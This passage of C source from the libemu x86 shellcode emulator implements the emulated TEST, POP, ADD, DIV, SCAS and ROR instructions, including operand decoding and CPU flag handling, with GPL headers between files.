PF according to result * TEST r/m8,r8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], m8) }else { /* 84 /r * AND r8 with r/m8; set SF, ZF, PF according to result * TEST r/m8,r8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm]) } return 0; } int32_t instr_test_85(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 85 /r * AND r16 with r/m16; set SF, ZF, PF according to result * TEST r/m16,r16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.opc], m16) } else { /* 85 /r * AND r32 with r/m32; set SF, ZF, PF according to result * TEST r/m32,r32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.opc], m32) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 85 /r * AND r16 with r/m16; set SF, ZF, PF according to result * TEST r/m16,r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm]) } else { /* 85 /r * AND r32 with r/m32; set SF, ZF, PF according to result * TEST r/m32,r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.opc], c->reg[i->modrm.rm]) } } return 0; } int32_t instr_test_a8(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* A8 ib * AND imm8 with AL; set SF, ZF, PF according to result * TEST AL,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *i->imm8, *c->reg8[al]) return 0; } int32_t instr_test_a9(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* A9 iw * AND imm16 with AX; set SF, ZF, PF according to result * TEST AX,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *i->imm16, *c->reg16[ax]) } else { /* A9 id * AND imm32 with EAX; set SF, ZF, PF according to result * TEST EAX,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, i->imm, c->reg[eax]) } return 0; } int32_t instr_group_3_f6_test(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* F6 /0 ib * AND imm8 with r/m8; set SF, ZF, PF according to result * TEST r/m8,imm8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, *i->imm8, m8) } else { /* F6 /0 ib * AND imm8 with r/m8; set SF, ZF, PF according to result * TEST r/m8,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *i->imm8, *c->reg8[i->modrm.rm]) } return 0; } int32_t instr_group_3_f7_test(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /0 iw * AND imm16 with r/m16; set SF, ZF, PF according to result * TEST r/m16,imm16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, *i->imm16, m16) } else { /* F7 /0 id * AND imm32 with r/m32; set SF, ZF, PF according to result * TEST r/m32,imm32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, i->imm, m32) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /0 iw * AND imm16 with r/m16; set SF, ZF, PF according to result * TEST r/m16,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *i->imm16, *c->reg16[i->modrm.rm]) } else { /* F7 /0 id * AND imm32 with r/m32; set SF, ZF, PF according to result * TEST r/m32,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, i->imm, c->reg[i->modrm.rm]) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/group_10.c0000644000175300017530000000440311706767213020443 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_functions.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" int32_t instr_group_10_8f_pop(struct emu_cpu *c, struct emu_cpu_instruction *i) { if (i->prefixes & PREFIX_OPSIZE) { /* 8F /0 * Pop top of stack into m16; increment stack pointer * POP m16 */ }else { /* 8F /0 * Pop top of stack into m32; increment stack pointer * POP m32 */ uint32_t m32; /* support pop dword fs:[0x00] */ enum emu_segment oldseg = emu_memory_segment_get(c->mem); emu_memory_segment_select(c->mem, s_ss); POP_DWORD(c, &m32); emu_memory_segment_select(c->mem, oldseg); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } return 0; } int32_t instr_group_10_8f(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_10_8f_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_10_8f_pop, /* 1 */ NULL, /* 2 */ NULL, /* 3 */ NULL, /* 4 */ NULL, /* 5 */ NULL, /* 6 */ NULL, /* 7 */ NULL, }; if ( group_10_8f_fn[i->modrm.opc] != NULL ) return group_10_8f_fn[i->modrm.opc](c, i); else return -1; } libemu-0.2.0+git20120122+564/src/functions/add.c0000644000175300017530000002327111706767213017543 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation) \ INSTR_CALC(bits, a, b, c, operation) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_CF(cpu, operation) \ INSTR_SET_FLAG_OF(cpu, operation,bits) #define TRACK_INIT_ALL_FLAGS(instruction_p) \ TRACK_INIT_EFLAG(instruction_p, f_zf); \ TRACK_INIT_EFLAG(instruction_p, f_pf); \ TRACK_INIT_EFLAG(instruction_p, f_sf); \ TRACK_INIT_EFLAG(instruction_p, f_cf); \ TRACK_INIT_EFLAG(instruction_p, f_of); int32_t instr_add_00(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 00 /r * Add r8 to r/m8 * ADD r/m8,r8 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst, *c->reg8[i->modrm.opc], dst, +) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], +) } return 0; } int32_t instr_add_01(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); /* 01 /r * Add r16 to r/m16 * ADD r/m16,r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, dst, *c->reg16[i->modrm.opc], dst, +) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 01 /r * Add r32 to r/m32 * ADD r/m32,r32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, c->reg[i->modrm.opc], dst, +) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 01 /r * Add r16 to r/m16 * ADD r/m16,r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], +) } else { /* 01 /r * Add r32 to r/m32 * ADD r/m32,r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.rm], +) } } return 0; } int32_t instr_add_02(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 02 /r * Add r/m8 to r8 * ADD r8,r/m8 */ if ( i->modrm.mod != 3 ) { uint8_t op; MEM_BYTE_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(8, c, op, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.opc], +) } else { // *c->reg8[i->modrm.opc] += *c->reg8[i->modrm.rm]; INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], +) } return 0; } int32_t instr_add_03(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 03 /r * Add r/m16 to r16 * ADD r16,r/m16 */ uint16_t op; MEM_WORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(16, c, op, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], +) } else { /* 03 /r * Add r/m32 to r32 * ADD r32,r/m32 */ uint32_t op; MEM_DWORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(32, c, op, c->reg[i->modrm.opc], c->reg[i->modrm.opc], +) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 03 /r * Add r/m16 to r16 * ADD r16,r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], +) } else { /* 03 /r * Add r/m32 to r32 * ADD r32,r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.opc], +) } } return 0; } int32_t instr_add_04(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 04 ib * Add imm8 to AL * ADD AL,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[al], *i->imm8, *c->reg8[al], +) return 0; } int32_t instr_add_05(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->prefixes & PREFIX_OPSIZE ) { /* 05 iw * Add imm16 to AX * ADD AX,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[ax], *i->imm16, *c->reg16[ax], +) } else { /* 05 id * ADD EAX,imm32 * Add imm32 to EAX */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[eax], i->imm, c->reg[eax], +) } return 0; } int32_t instr_group_1_80_add(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); /* dst <-- dst imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, dst, *i->imm8, dst, +) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { /* reg8[rm] <-- reg8[rm] imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8, *c->reg8[i->modrm.rm], +) } return 0; } int32_t instr_group_1_81_add(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /0 iw * Add imm16 to r/m16 * ADD r/m16,imm16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *i->imm16, dst, +) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 81 /0 id * Add imm32 to r/m32 * ADD r/m32,imm32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, i->imm, dst, +) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /0 iw * Add imm16 to r/m16 * ADD r/m16,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm16, *c->reg16[i->modrm.rm], +) } else { /* 81 /0 id * Add imm32 to r/m32 * ADD r/m32,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], i->imm, c->reg[i->modrm.rm], +) } } return 0; } int32_t instr_group_1_83_add(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /0 ib * Add sign-extended imm8 to r/m16 * ADD r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, sexd, dst, +) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 83 /0 ib * Add sign-extended imm8 to r/m32 * ADD r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, sexd, dst, +) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /0 ib * Add sign-extended imm8 to r/m16 * ADD r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], sexd, *c->reg16[i->modrm.rm], +) } else { /* 83 /0 ib * Add sign-extended imm8 to r/m32 * ADD r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], sexd, c->reg[i->modrm.rm], +) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/div.c0000644000175300017530000001030311706767213017565 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #define INSTR_CALC(dbits,bits,cpu,dividend,divisor,quotient,remainder)\ {\ if (divisor == 0) \ { \ emu_strerror_set(cpu->emu,"div by zero (%i bits)\n",bits); \ emu_errno_set(cpu->emu,EINVAL); \ return -1; \ } \ UINTOF(dbits) q_result = dividend / divisor; \ UINTOF(dbits) r_result = dividend % divisor; \ \ quotient = q_result; \ remainder = r_result; \ if ( q_result > max_inttype_borders[bits/8][1][1]) \ { \ emu_strerror_set(cpu->emu,"div quotient larger than intborder (%i bits)\n",bits); \ emu_errno_set(cpu->emu,EINVAL); \ return -1; \ } \ } #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 188*/ int32_t instr_group_3_f6_div(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* F6 /6 * Unsigned divide AX by r/m8; AL <- Quotient, AH <- Remainder * DIV r/m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC(16, 8, c, *c->reg16[ax], m8, *c->reg8[al], *c->reg8[ah]) } else { /* F6 /6 * Unsigned divide AX by r/m8; AL <- Quotient, AH <- Remainder * DIV r/m8 */ INSTR_CALC(16, 8, c, *c->reg16[ax], *c->reg8[i->modrm.rm], *c->reg8[al], *c->reg8[ah]) } return 0; } int32_t instr_group_3_f7_div(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /6 * Unsigned divide DX:AX by r/m16; AX <- Quotient, DX <- Remainder * DIV r/m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); uint32_t dividend; DWORD_FROM_WORDS(dividend,*c->reg16[dx],*c->reg16[ax]); INSTR_CALC(32, 16, c, dividend, m16, *c->reg16[ax], *c->reg16[dx]) } else { /* F7 /6 * Unsigned divide EDX:EAX by r/m32 doubleword; EAX <- Quotient, EDX <- Remainder * DIV r/m32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); uint64_t dividend; QWORD_FROM_DWORDS(dividend,c->reg[edx],c->reg[eax]); INSTR_CALC(64, 32, c, dividend, m32, c->reg[eax], c->reg[edx]) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /6 * Unsigned divide DX:AX by r/m16; AX <- Quotient, DX <- Remainder * DIV r/m16 */ uint32_t dividend; DWORD_FROM_WORDS(dividend,*c->reg16[dx],*c->reg16[ax]); INSTR_CALC(32, 16, c, dividend, *c->reg16[i->modrm.rm], *c->reg16[ax], *c->reg16[dx]) } else { /* F7 /6 * Unsigned divide EDX:EAX by r/m32 doubleword; EAX <- Quotient, EDX <- Remainder * DIV r/m32 */ uint64_t dividend; QWORD_FROM_DWORDS(dividend,c->reg[edx],c->reg[eax]); INSTR_CALC(64, 32, c, dividend, c->reg[i->modrm.rm], c->reg[eax], c->reg[edx]) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/scas.c0000644000175300017530000001034011706767213017735 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b) \ UINTOF(bits) operation_result = (a) - (b); \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operand_b = b; #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 669*/ #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_CF(cpu, -) \ INSTR_SET_FLAG_OF(cpu, -,bits) #define INSTR_CALC_EDI(cpu, bits) \ { \ if ( !CPU_FLAG_ISSET(cpu,f_df) ) \ cpu->reg[edi]+=bits/8; \ else \ cpu->reg[edi]-=bits/8; \ } int32_t instr_scas_ae(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_ADSIZE ) { /* AE * Compare AL with byte at ES:DI and set status flags * SCAS m8 * Compare AL with byte at ES:DI and set status flags * SCASB */ UNIMPLEMENTED(c, SST); } else { /* AE * Compare AL with byte at ES:EDI and set status flags * SCAS m8 * Compare AL with byte at ES:EDI and set status flags * SCASB */ enum emu_segment oldseg = emu_memory_segment_get(c->mem); emu_memory_segment_select(c->mem,s_es); uint8_t m8; MEM_BYTE_READ(c, c->reg[edi], &m8); emu_memory_segment_select(c->mem,oldseg); INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[al], m8) INSTR_CALC_EDI(c, 8) } return 0; } int32_t instr_scas_af(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_ADSIZE ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* AF * Compare AX with word at ES:DI and set status flags * SCAS m16 * Compare AX with word at ES:DI and set status flags * SCASW */ UNIMPLEMENTED(c, SST); } else { /* AF * Compare EAX with doubleword at ES:DI and set status flags * SCAS m32 * Compare EAX with doubleword at ES:DI and set status flags * SCASD */ UNIMPLEMENTED(c, SST); } }else { if ( i->prefixes & PREFIX_OPSIZE ) { /* AF * Compare AX with word at ES:EDI and set status flags * SCAS m16 * Compare AX with word at ES:EDI and set status flags * SCASW */ enum emu_segment oldseg = emu_memory_segment_get(c->mem); emu_memory_segment_select(c->mem,s_es); uint16_t m16; MEM_WORD_READ(c, c->reg[edi], &m16); emu_memory_segment_select(c->mem,oldseg); INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg16[ax], m16) INSTR_CALC_EDI(c, 16) } else { /* AF * Compare EAX with doubleword at ES:EDI and set status flags * SCAS m32 * Compare EAX with doubleword at ES:EDI and set status flags * SCASD */ enum emu_segment oldseg = emu_memory_segment_get(c->mem); emu_memory_segment_select(c->mem,s_es); uint32_t m32; MEM_DWORD_READ(c, c->reg[edi], &m32); emu_memory_segment_select(c->mem,oldseg); INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[eax], m32) INSTR_CALC_EDI(c, 32) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/ror.c0000644000175300017530000001717111706767213017617 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b, cpu) \ UINTOF(bits) operation_result = (a); \ uint8_t operand_b = (b); \ { \ operand_b %= sizeof(operation_result) * 8; \ operation_result = operation_result >> operand_b | operation_result << (bits - operand_b); \ if( operation_result & (1 << (bits - 1)) ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ } \ if( operand_b == 1 ) \ { \ if( (operation_result >> (bits - 1)) ^ ((operation_result >> (bits - 2)) & 1) ) \ { \ CPU_FLAG_SET(cpu, f_of); \ } \ else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } \ a = operation_result; \ } #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b, cpu) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 631*/ int32_t instr_group_2_c0_ror(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* C0 /1 ib * Rotate eight bits r/m16 right imm8 times * ROR r/m8,imm8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *i->imm8); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* C0 /1 ib * Rotate eight bits r/m16 right imm8 times * ROR r/m8,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8); } return 0; } int32_t instr_group_2_c1_ror(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /1 ib * Rotate 16 bits r/m16 right imm8 times * ROR r/m16,imm8 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *i->imm8); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* C1 /1 ib * Rotate 32 bits r/m32 right imm8 times * ROR r/m32,imm8 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *i->imm8); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /1 ib * Rotate 16 bits r/m16 right imm8 times * ROR r/m16,imm8 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm8); } else { /* C1 /1 ib * Rotate 32 bits r/m32 right imm8 times * ROR r/m32,imm8 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *i->imm8); } } return 0; } int32_t instr_group_2_d0_ror(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D0 /1 * Rotate eight bits r/m8 right once * ROR r/m8,1 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, 1); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D0 /1 * Rotate eight bits r/m8 right once * ROR r/m8,1 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], 1); } return 0; } int32_t instr_group_2_d1_ror(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /1 * Rotate 16 bits r/m16 right once * ROR r/m16,1 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, 1); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D1 /1 * Rotate 32 bits r/m32 right once * ROR r/m32,1 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, 1); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /1 * Rotate 16 bits r/m16 right once * ROR r/m16,1 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], 1); } else { /* D1 /1 * Rotate 32 bits r/m32 right once * ROR r/m32,1 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], 1); } } return 0; } int32_t instr_group_2_d2_ror(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D2 /1 * Rotate eight bits r/m8 right CL times * ROR r/m8,CL */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *c->reg8[cl]); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D2 /1 * Rotate eight bits r/m8 right CL times * ROR r/m8,CL */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[cl]); } return 0; } int32_t instr_group_2_d3_ror(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /1 * Rotate 16 bits r/m16 right CL times * ROR r/m16,CL */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *c->reg8[cl]); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D3 /1 * Rotate 32 bits r/m32 right CL times * ROR r/m32,CL */ uint32_t m32; 